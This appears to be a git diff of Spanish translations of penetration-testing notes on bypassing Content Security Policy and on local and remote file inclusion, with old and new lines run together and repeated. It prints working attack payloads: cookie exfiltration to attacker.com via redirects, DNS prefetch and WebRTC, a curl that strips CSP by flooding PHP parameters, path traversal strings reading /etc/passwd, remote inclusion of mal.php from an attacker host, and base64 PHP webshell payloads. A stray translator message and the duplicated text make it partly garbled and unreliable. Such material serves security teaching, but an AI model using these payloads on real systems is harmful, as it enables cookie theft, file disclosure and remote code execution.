img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
``` ```
Al monitorear qué solicitudes son bloqueadas o permitidas por el CSP, se puede reducir los posibles caracteres en el subdominio secreto, eventualmente descubriendo la URL completa. Al monitorizar qué solicitudes son bloqueadas o permitidas por la CSP, se pueden reducir los posibles caracteres en el subdominio secreto, eventualmente descubriendo la URL completa.
Ambos métodos explotan las sutilezas de la implementación y el comportamiento del CSP en los navegadores, demostrando cómo políticas aparentemente seguras pueden inadvertidamente leak información sensible. Ambos métodos explotan las sutilezas de la implementación de CSP y el comportamiento en los navegadores, demostrando cómo políticas aparentemente seguras pueden, inadvertidamente, leak información sensible.
Truco de [**aquí**](https://ctftime.org/writeup/29310). Truco de [**aquí**](https://ctftime.org/writeup/29310).
## Tecnologías Inseguras para Bypass CSP ## Tecnologías inseguras para evadir CSP
### Errores de PHP cuando hay demasiados parámetros ### Errores de PHP cuando hay demasiados parámetros
Según la [**última técnica comentada en este video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), enviar demasiados parámetros (1001 parámetros GET aunque también se puede hacer con parámetros POST y más de 20 archivos). Cualquier **`header()`** definido en el código web de PHP **no será enviado** debido al error que esto provocará. Según la [**última técnica comentada en este video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), enviar demasiados parámetros (1001 parámetros GET aunque también se puede hacer con parámetros POST y con más de 20 archivos). Cualquier **`header()`** definido en el código web PHP **no será enviado** debido al error que esto provocará.
### Sobrecarga del búfer de respuesta de PHP ### Sobrecarga del buffer de respuesta de PHP
Se sabe que PHP **almacena en búfer la respuesta hasta 4096** bytes por defecto. Por lo tanto, si PHP está mostrando una advertencia, al proporcionar **suficiente información dentro de las advertencias**, la **respuesta** será **enviada** **antes** del **header CSP**, causando que el header sea ignorado.\ PHP es conocido por **almacenar en buffer la respuesta hasta 4096** bytes por defecto. Por lo tanto, si PHP muestra una advertencia, al proporcionar **suficientes datos dentro de las advertencias**, la **respuesta** será **enviada** **antes** del **CSP header**, provocando que el header sea ignorado.\
Entonces, la técnica consiste básicamente en **llenar el búfer de respuesta con advertencias** para que el header CSP no sea enviado. La técnica consiste básicamente en **llenar el buffer de respuesta con advertencias** para que el **CSP header** no sea enviado.
Idea de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). Idea de [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Reescribir Página de Error ### Desactivar CSP vía max_input_vars (headers already sent)
De [**este writeup**](https://blog.ssrf.kr/69) parece que era posible eludir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido. Como los headers deben enviarse antes de cualquier salida, las advertencias emitidas por PHP pueden invalidar llamadas posteriores a `header()`. Si la entrada del usuario excede `max_input_vars`, PHP lanza primero una advertencia de inicio; cualquier `header('Content-Security-Policy: ...')` posterior fallará con “headers already sent”, deshabilitando efectivamente la CSP y permitiendo XSS reflejada que de otro modo estaría bloqueada.
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
No se proporcionó el contenido a traducir. Por favor pega el contenido de src/pentesting-web/content-security-policy-csp-bypass/README.md para traducir.
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### Reescribir la página de error
Según [**this writeup**](https://blog.ssrf.kr/69) parece que fue posible eludir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.
```javascript ```javascript
a = window.open("/" + "x".repeat(4100)) a = window.open("/" + "x".repeat(4100))
setTimeout(function () { setTimeout(function () {
@ -624,7 +642,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
``` ```
### SOME + 'self' + wordpress ### SOME + 'self' + wordpress
SOME es una técnica que abusa de un XSS (o XSS altamente limitado) **en un endpoint de una página** para **abusar** **de otros endpoints de la misma origen.** Esto se hace cargando el endpoint vulnerable desde una página del atacante y luego actualizando la página del atacante al endpoint real en la misma origen que deseas abusar. De esta manera, el **endpoint vulnerable** puede usar el objeto **`opener`** en la **carga útil** para **acceder al DOM** del **endpoint real a abusar**. Para más información consulta: SOME es una técnica que abusa de un XSS (o XSS muy limitado) **en un endpoint de una página** para **abusar** **de otros endpoints del mismo origen.** Esto se hace cargando el endpoint vulnerable desde una página atacante y luego refrescando la página atacante hacia el endpoint real en el mismo origen que quieres abusar. De esta forma el **endpoint vulnerable** puede usar el objeto **`opener`** en la **payload** para **acceder al DOM** del **endpoint real a abusar**. Para más información consulta:
{{#ref}} {{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md ../xss-cross-site-scripting/some-same-origin-method-execution.md
@ -632,32 +650,32 @@ SOME es una técnica que abusa de un XSS (o XSS altamente limitado) **en un endp
Además, **wordpress** tiene un endpoint **JSONP** en `/wp-json/wp/v2/users/1?_jsonp=data` que **reflejará** los **datos** enviados en la salida (con la limitación de solo letras, números y puntos). Además, **wordpress** tiene un endpoint **JSONP** en `/wp-json/wp/v2/users/1?_jsonp=data` que **reflejará** los **datos** enviados en la salida (con la limitación de solo letras, números y puntos).
Un atacante puede abusar de ese endpoint para **generar un ataque SOME** contra WordPress y **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **vulnerable** **callback** que **elude el CSP** para dar más privilegios a un usuario, instalar un nuevo plugin...\ Un atacante puede abusar de ese endpoint para **generar un SOME attack** contra WordPress e **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **SOME attack** a través del **vulnerable** **callback** endpoint que **elude la CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\
Para más información sobre cómo realizar este ataque consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) Para más información sobre cómo realizar este ataque consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses ## CSP Exfiltration Bypasses
Si hay un CSP estricto que no te permite **interactuar con servidores externos**, hay algunas cosas que siempre puedes hacer para exfiltrar la información. Si hay una CSP estricta que no te permite **interactuar con servidores externos**, hay algunas cosas que siempre puedes hacer para exfiltrar la información.
### Location ### Location
Podrías simplemente actualizar la ubicación para enviar al servidor del atacante la información secreta: Puedes simplemente actualizar la location para enviar al servidor del atacante la información secreta:
```javascript ```javascript
var sessionid = document.cookie.split("=")[1] + "." var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid document.location = "https://attacker.com/?" + sessionid
``` ```
### Meta tag ### Meta tag
Podrías redirigir inyectando una etiqueta meta (esto es solo una redirección, esto no filtrará contenido) Puedes redirigir inyectando una meta tag (esto es solo una redirección, esto no causará un leak de contenido)
```html ```html
<meta http-equiv="refresh" content="1; http://attacker.com" /> <meta http-equiv="refresh" content="1; http://attacker.com" />
``` ```
### DNS Prefetch ### DNS Prefetch
Para cargar las páginas más rápido, los navegadores van a pre-resolver nombres de host en direcciones IP y almacenarlas en caché para su uso posterior.\ Para cargar las páginas más rápido, los navegadores van a pre-resolver los nombres de host en direcciones IP y almacenarlos en caché para uso posterior.\
Puedes indicar a un navegador que pre-resuelva un nombre de host con: `<link rel="dns-prefetch" href="something.com">` Puedes indicar a un navegador que pre-resuelva un nombre de host con: `<link rel="dns-prefetch" href="something.com">`
Podrías abusar de este comportamiento para **exfiltrar información sensible a través de solicitudes DNS**: Podrías abusar de este comportamiento para **exfiltrar información sensible mediante solicitudes DNS**:
```javascript ```javascript
var sessionid = document.cookie.split("=")[1] + "." var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0] var body = document.getElementsByTagName("body")[0]
@ -674,18 +692,18 @@ linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl) document.head.appendChild(linkEl)
``` ```
Para evitar que esto suceda, el servidor puede enviar el encabezado HTTP: Para evitar que esto ocurra, el servidor puede enviar la cabecera HTTP:
``` ```
X-DNS-Prefetch-Control: off X-DNS-Prefetch-Control: off
``` ```
> [!TIP] > [!TIP]
> Aparentemente, esta técnica no funciona en navegadores sin cabeza (bots) > Aparentemente, esta técnica no funciona en navegadores headless (bots)
### WebRTC ### WebRTC
En varias páginas puedes leer que **WebRTC no verifica la política `connect-src`** del CSP. En varias páginas puedes leer que **WebRTC no comprueba la directiva `connect-src`** del CSP.
En realidad, puedes _leak_ información utilizando una _solicitud DNS_. Revisa este código: En realidad puedes _leak_ información usando una _solicitud DNS_. Mira este código:
```javascript ```javascript
;(async () => { ;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -707,7 +725,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
``` ```
### CredentialsContainer ### CredentialsContainer
El popup de credenciales envía una solicitud DNS a iconURL sin estar restringido por la página. Solo funciona en un contexto seguro (HTTPS) o en localhost. La ventana emergente de credenciales envía una solicitud DNS a iconURL sin estar restringida por la página. Solo funciona en un contexto seguro (HTTPS) o en localhost.
```javascript ```javascript
navigator.credentials.store( navigator.credentials.store(
new FederatedCredential({ new FederatedCredential({
@ -718,12 +736,12 @@ iconURL:"https:"+your_data+"example.com"
}) })
) )
``` ```
## Comprobando las políticas de CSP en línea ## Comprobación de políticas CSP en línea
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Creando CSP automáticamente ## Creación automática de CSP
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
@ -737,6 +755,7 @@ iconURL:"https:"+your_data+"example.com"
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) - [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)

View File

@ -4,12 +4,12 @@
## File Inclusion ## File Inclusion
**Remote File Inclusion (RFI):** El archivo se carga desde un servidor remoto (Mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow_url_include**).\ **Remote File Inclusion (RFI):** El archivo se carga desde un servidor remoto (Lo mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow_url_include**).\
**Local File Inclusion (LFI):** El servidor carga un archivo local. **Local File Inclusion (LFI):** El servidor carga un archivo local.
La vulnerabilidad se produce cuando el usuario puede controlar de alguna manera el archivo que el servidor va a cargar. La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que será cargado por el servidor.
Funciones **PHP** vulnerables: require, require_once, include, include_once Vulnerable **PHP functions**: require, require_once, include, include_once
Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
``` ```
### **Linux** ### **Linux**
**Combinando varias listas LFI de \*nix y añadiendo más rutas, he creado esta:** **Combinando varias listas \*nix de LFI y añadiendo más rutas he creado esta:**
{{#ref}} {{#ref}}
@ -29,7 +29,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
Prueba también a cambiar `/` por `\`\ Prueba también a cambiar `/` por `\`\
Prueba también a añadir `../../../../../` Prueba también a añadir `../../../../../`
Una lista que usa varias técnicas para encontrar el archivo /etc/password (para comprobar si la vulnerabilidad existe) se puede encontrar [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) Una lista que usa varias técnicas para encontrar el archivo /etc/password (para comprobar si la vulnerabilidad existe) puede encontrarse [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows** ### **Windows**
@ -43,7 +43,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
Prueba también a cambiar `/` por `\`\ Prueba también a cambiar `/` por `\`\
Prueba también a eliminar `C:/` y añadir `../../../../../` Prueba también a eliminar `C:/` y añadir `../../../../../`
Una lista que usa varias técnicas para encontrar el archivo /boot.ini (para comprobar si la vulnerabilidad existe) se puede encontrar [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) Una lista que usa varias técnicas para encontrar el archivo /boot.ini (para comprobar si la vulnerabilidad existe) puede encontrarse [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X** ### **OS X**
@ -51,11 +51,11 @@ Consulta la lista LFI de linux.
## LFI básico y bypasses ## LFI básico y bypasses
Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>). Todos los ejemplos son para Local File Inclusion pero podrían aplicarse también a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
``` ```
http://example.com/index.php?page=../../../etc/passwd http://example.com/index.php?page=../../../etc/passwd
``` ```
### traversal sequences stripped non-recursively ### traversal sequences eliminadas de forma no recursiva
```python ```python
http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
``` ```
### **Null byte (%00)** ### **Null byte (%00)**
Bypass la adición de más caracteres al final de la cadena proporcionada (bypass de: $\_GET\['param']."php") Bypass para evitar la adición de más caracteres al final de la cadena proporcionada (bypass of: $\_GET\['param']."php")
``` ```
http://example.com/index.php?page=../../../etc/passwd%00 http://example.com/index.php?page=../../../etc/passwd%00
``` ```
@ -71,7 +71,7 @@ Esto está **resuelto desde PHP 5.4**
### **Codificación** ### **Codificación**
Podrías usar codificaciones no estándar como doble codificación URL (y otras): Puedes usar codificaciones no estándar como double URL encode (y otras):
``` ```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
``` ```
### Desde una carpeta existente ### Desde una carpeta existente
Quizás el back-end está verificando la ruta de la carpeta: Quizás el back-end esté comprobando la ruta de la carpeta:
```python ```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
``` ```
### Explorando directorios del sistema de archivos en un servidor ### Explorando directorios del sistema de archivos en un servidor
El sistema de archivos de un servidor puede explorarse recursivamente para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se presenta un método detallado para lograr esto: El sistema de archivos de un servidor puede explorarse de forma recursiva para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se muestra un método detallado para lograr esto:
1. **Determinar la profundidad del directorio:** Averigua la profundidad de tu directorio actual obteniendo con éxito el archivo `/etc/passwd` (aplicable si el servidor es Linux). Un ejemplo de URL podría estructurarse de la siguiente manera, indicando una profundidad de tres: 1. **Determinar la profundidad del directorio:** Determina la profundidad de tu directorio actual obteniendo con éxito el archivo `/etc/passwd` (aplicable si el servidor es Linux-based). Una URL de ejemplo podría tener la siguiente estructura, indicando una profundidad de tres:
```bash ```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3 http://example.com/index.php?page=../../../etc/passwd # depth of 3
``` ```
2. **Sondea carpetas:** Añade el nombre de la carpeta sospechosa (p. ej., `private`) a la URL, luego vuelve a navegar a `/etc/passwd`. El nivel adicional de directorio requiere incrementar la profundidad en uno: 2. **Buscar carpetas:** Añade el nombre de la carpeta sospechada (p. ej., `private`) a la URL, luego vuelve a navegar a `/etc/passwd`. El nivel adicional de directorio requiere incrementar la profundidad en uno:
```bash ```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
``` ```
3. **Interpretar los resultados:** La respuesta del servidor indica si la carpeta existe: 3. **Interpret the Outcomes:** La respuesta del servidor indica si la carpeta existe:
- **Error / No Output:** La carpeta `private` probablemente no existe en la ubicación especificada. - **Error / No Output:** La carpeta `private` probablemente no existe en la ubicación especificada.
- **Contents of `/etc/passwd`:** Se confirma la presencia de la carpeta `private`. - **Contents of `/etc/passwd`:** Se confirma la presencia de la carpeta `private`.
4. **Recursive Exploration:** Las carpetas descubiertas pueden ser exploradas más a fondo en busca de subdirectorios o archivos usando la misma técnica o los métodos tradicionales de Local File Inclusion (LFI). 4. **Recursive Exploration:** Las carpetas descubiertas pueden ser inspeccionadas más a fondo en busca de subdirectorios o archivos usando la misma técnica o métodos tradicionales de Local File Inclusion (LFI).
Para explorar directorios en distintas ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para comprobar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa: Para explorar directorios en diferentes ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para comprobar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
```bash ```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
``` ```
### **Path Truncation Technique** ### **Path Truncation Technique**
Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se usa para acceder a archivos restringidos al eludir ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez alterada por la medida de seguridad, siga apuntando al archivo deseado. Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se utiliza para acceder a archivos restringidos al eludir ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez alterada por la medida de seguridad, todavía apunte al archivo deseado.
En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo: En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, y `/etc/passwd/` son tratados como la misma ruta. - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, y `/etc/passwd/` son tratados como la misma ruta.
- Cuando los últimos 6 caracteres son `passwd`, añadir un `/` (convirtiéndolo en `passwd/`) no cambia el archivo objetivo. - Cuando los últimos 6 caracteres son `passwd`, añadir una `/` (convirtiéndolo en `passwd/`) no cambia el archivo objetivo.
- De igual manera, si se añade `.php` a una ruta de archivo (como `shellcode.php`), agregar un `/.` al final no alterará el archivo al que se accede. - De manera similar, si se añade `.php` a una ruta de archivo (por ejemplo `shellcode.php`), agregar `/.` al final no alterará el archivo al que se accede.
Los ejemplos proporcionados demuestran cómo utilizar path truncation para acceder a `/etc/passwd`, un objetivo común debido a su contenido sensible (información de cuentas de usuario): Los ejemplos proporcionados muestran cómo utilizar path truncation para acceder a `/etc/passwd`, un objetivo común debido a su contenido sensible (información de cuentas de usuario):
``` ```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -127,15 +127,15 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
``` ```
En estos escenarios, el número de traversals necesarios podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor. En estos escenarios, el número de traversals necesarios podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.
- **Using Dot Segments and Additional Characters**: Las secuencias de traversal (`../`) combinadas con segmentos adicionales de punto y caracteres pueden usarse para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor. - **Usando dot segments y caracteres adicionales**: Las secuencias de traversal (`../`) combinadas con segmentos de puntos adicionales y caracteres pueden usarse para navegar el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
- **Determining the Required Number of Traversals**: Mediante prueba y error, se puede encontrar el número preciso de secuencias `../` necesarias para llegar al root directory y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) quede neutralizada pero la ruta deseada (`/etc/passwd`) permanezca intacta. - **Determinando el número requerido de traversals**: Mediante prueba y error, se puede encontrar el número preciso de secuencias `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero la ruta deseada (`/etc/passwd`) permanezca intacta.
- **Starting with a Fake Directory**: Es una práctica común comenzar la ruta con un directorio inexistente (como `a/`). Esta técnica se usa como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor. - **Comenzar con un directorio falso**: Es una práctica común iniciar la ruta con un directorio inexistente (como `a/`). Esta técnica se usa como medida de precaución o para cumplir los requisitos de la lógica de parseo de rutas del servidor.
Al emplear path truncation techniques, es crucial entender el comportamiento de parsing de rutas del servidor y la estructura del filesystem. Cada escenario puede requerir un enfoque distinto, y a menudo es necesario realizar pruebas para encontrar el método más efectivo. Al emplear técnicas de truncamiento de rutas, es crucial entender el comportamiento de parseo de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque distinto, y con frecuencia es necesario realizar pruebas para encontrar el método más efectivo.
**This vulnerability was corrected in PHP 5.3.** **Esta vulnerabilidad fue corregida en PHP 5.3.**
### **Filter bypass tricks** ### **Trucos para evadir filtros**
``` ```
http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -145,23 +145,23 @@ http://example.com/index.php?page=PhP://filter
``` ```
## Remote File Inclusion ## Remote File Inclusion
En php esto está deshabilitado por defecto porque **`allow_url_include`** está en **Off.** Debe estar en **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE: En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Off.** Debe estar **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
```python ```python
http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php
``` ```
Si por alguna razón **`allow_url_include`** está **On**, pero PHP está **filtrando** el acceso a páginas web externas, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar por ejemplo el protocolo data con base64 para decodificar un código PHP en b64 y obtener RCE: Si por alguna razón **`allow_url_include`** está **On**, pero PHP está **filtrando** el acceso a páginas externas, [según este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar por ejemplo el data protocol con base64 para decodificar un b64 PHP code y obtener RCE:
``` ```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
``` ```
> [!TIP] > [!TIP]
> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con ello y, después de la decodificación b64, esa parte devolverá solo basura y el código PHP real será incluido (y por tanto, ejecutado). > En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, por lo que la cadena termina con eso y después del b64 decode esa parte volverá solo basura y el verdadero código PHP será incluido (y por lo tanto, ejecutado).
>
> Otro ejemplo **sin usar el protocolo `php://`** sería: Otro ejemplo **que no usa el protocolo `php://`** sería:
``` ```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
``` ```
## Python elemento raíz ## Python Elemento raíz
En Python, en un código como este: En Python, en un código como este:
```python ```python
@ -173,17 +173,17 @@ Si el usuario pasa una **ruta absoluta** a **`file_name`**, la **ruta anterior s
os.path.join(os.getcwd(), "public", "/etc/passwd") os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd' '/etc/passwd'
``` ```
Es el comportamiento previsto según [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): Este es el comportamiento previsto según [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component. > Si un componente es una ruta absoluta, todos los componentes anteriores se desechan y la concatenación continúa desde el componente de ruta absoluta.
## Java Listar directorios ## Listado de directorios en Java
Parece que si tienes un Path Traversal en Java y **solicitas un directorio** en lugar de un archivo, se **devuelve un listado del directorio**. Esto no ocurrirá en otros lenguajes (que yo sepa). Parece que si tienes un Path Traversal en Java y **solicitas un directorio** en lugar de un archivo, se devuelve un **listado del directorio**. Esto no ocurrirá en otros lenguajes (afaik).
## Top 25 parámetros ## Top 25 parámetros
Aquí tienes una lista de los 25 parámetros principales que podrían ser vulnerables a local file inclusion (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)): Aquí tienes la lista de los 25 parámetros principales que podrían ser vulnerables a local file inclusion (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
``` ```
?cat={payload} ?cat={payload}
?dir={payload} ?dir={payload}
@ -211,38 +211,38 @@ Aquí tienes una lista de los 25 parámetros principales que podrían ser vulner
?mod={payload} ?mod={payload}
?conf={payload} ?conf={payload}
``` ```
## LFI / RFI usando PHP wrappers & protocols ## LFI / RFI usando PHP wrappers & protocolos
### php://filter ### php://filter
PHP filters allow perform basic **modification operations on the data** before being it's read or written. There are 5 categories of filters: PHP filters permiten realizar operaciones básicas de **modificación sobre los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
- [String Filters](https://www.php.net/manual/en/filters.string.php): - [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13` - `string.rot13`
- `string.toupper` - `string.toupper`
- `string.tolower` - `string.tolower`
- `string.strip_tags`: Elimina etiquetas de los datos (todo lo que está entre los caracteres "<" y ">") - `string.strip_tags`: Elimina tags de los datos (todo lo que esté entre los caracteres "<" y ">")
- Note that this filter has disappear from the modern versions of PHP - Nota que este filtro ha desaparecido en las versiones modernas de PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode` - `convert.base64-encode`
- `convert.base64-decode` - `convert.base64-decode`
